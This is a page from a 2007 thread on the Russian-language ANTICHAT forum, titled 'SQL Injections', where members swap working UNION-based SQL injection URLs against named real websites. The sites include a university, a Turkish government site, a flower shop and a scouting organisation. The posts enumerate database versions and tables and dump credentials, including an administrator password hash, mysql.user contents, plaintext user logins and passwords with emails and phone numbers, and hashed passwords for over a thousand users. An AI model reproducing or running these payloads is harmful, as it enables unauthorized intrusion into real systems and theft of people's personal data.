FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 223 из 1602

223

Опции темы

Поиск в этой теме

Опции просмотра

24.05.2007, 17:50

_GaLs_

Постоянный

Регистрация: 21.04.2006

Сообщений: 540

Провел на форуме:
1310036

Репутация: 726

http://wgeo.ru/table.shtml?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6/*
http://www.molitvoslov.com/txt.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7/*
http://www.proriv.com/research/?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 ,9,0/*
http://illuminations.nctm.org/ActivityDetail.aspx?ID=-3'
Количество сталбцов не подобрал=(

Кто подберёт буду оч. признатетен)

Последний раз редактировалось _GaLs_; 24.05.2007 в 17:56..

24.05.2007, 18:00

Boccob

Познающий

Регистрация: 04.05.2007

Сообщений: 38

Провел на форуме:
939769

Репутация: 59

http://www.medilinkwm.co.uk/events/display.php?id=-1509+union+select+1,version(),3,4,5,6,7,8,9,10,11, 12,13,14,15

24.05.2007, 23:33

Dagon

Познающий

Регистрация: 27.03.2006

Сообщений: 86

Провел на форуме:
972602

Репутация: 52

_http://www.ssw.uga.edu

пользователи:
http://www.ssw.uga.edu/social/index.php?TabID=-1%20UNION%20SELECT%201,22222222,concat(username,pa ssword),244,23+from+users/*

Administrator 5624c1f033768afceffe44f1c59298d0493d253e

форма логина тут http://www.ssw.uga.edu/cgi-bin/webmanage/web_login.pl

содержимое mysql.user
http://www.ssw.uga.edu/social/index.php?TabID=-1%20UNION%20SELECT%201,22222222,concat(user,passwo rd),244,23+from+mysql.user/*

http://outcomes.web.arizona.edu/data.php?uid=19%20UNION%20SELECT%2012,3,777,VERSIO N(),777/*

Последний раз редактировалось Dagon; 24.05.2007 в 23:35..

25.05.2007, 00:03

Grey

Познавший АНТИЧАТ

Регистрация: 10.06.2006

Сообщений: 1,113

Провел на форуме:
17668503

Репутация: 5826

Код:

http://www.inter-buket.ru/new-year/composition/?saleID=-1+union+select+1,2,3,4,concat(database(),char(58),user(),char(58),version()),6,7,8/*

Код:

http://www.inter-buket.ru/new-year/composition/?saleID=-1+union+select+1,2,3,4,concat(login,char(58),password,char(58),email,char(58),tel,char(58),name,char(58),family),6,7,8+from+users+limit+0,1/*

Пароли не зашифрованы.

25.05.2007, 00:16

Muhacir

Участник форума

Регистрация: 05.10.2006

Сообщений: 133

Провел на форуме:
548338

Репутация: 165

http://maximumradio.ru/

Код:

http://maximumradio.ru/?news=75765432%20union%20select%200,version(),2,3,user()/*

25.05.2007, 09:36

V.I.P

Познающий

Регистрация: 06.04.2007

Сообщений: 77

Провел на форуме:
1062869

Репутация: 136

Жертва: www.scouts.ru(Центральный Сервер
Скаутов-разведчиков)

SQL:

PHP код:


		
			
http://www.scouts.ru/modules/events/event.php?id=47999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

version(): 5.0.26-standard
user(): orur@localhost
database() :xoops

Таблиц: 589

PHP код:


		
			
http://www.scouts.ru/modules/events/event.php?id=479999999999+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+information_schema.tables+limit+589,1--

Основные:xoops_users

Количество юзеров:1096
Извлечение:
Mail: name: pass(хеш).

PHP код:


		
			
http://www.scouts.ru/modules/events/event.php?id=479999999999+union+select+1,2,3,4,5,concat_ws(char(58),email,name,pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+xoops_users+limit+1096,1--

Последний раз редактировалось V.I.P; 25.05.2007 в 10:33..

25.05.2007, 12:32

-=lebed=-

Флудер

Регистрация: 21.06.2006

Сообщений: 3,193

Провел на форуме:
12702287

Репутация: 4738

www.atam.gov.tr

PHP код:


		
			
_http://www.atam.gov.tr/index.php?Page=DergiIcerik&IcerikNo=-1+union+select+1,version(),3,4,user()/*

Таблица: DergiIcerik
Поля: No,TRBaslik,TRYazar,TRDergiSayi,TRIcerik

P.S. Есть там ещё таблицы?

25.05.2007, 12:43

l1ght

Reservists Of Antichat - Level 6

Регистрация: 05.12.2006

Сообщений: 195

Провел на форуме:
14023893

Репутация: 2163

сдесь был байан!
domainsdb! привет, lol nax

(кто смотрел видео)

Код:

http://www.mconline.ru/common/rateit/opinion_new.asp?code_opinion=ORT116046'--&code_rate=RRT175481

похоже mconline в одной базе с хакерру =)
//ps

Код:

http://www.xakep.ru/magazine/xA/088/056/2.asp

__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..

Последний раз редактировалось zl0ba; 25.05.2007 в 17:45.. Причина: не стал удалять, проверяем антибаяном http://hlamidnik.h18.ru/SQLS.html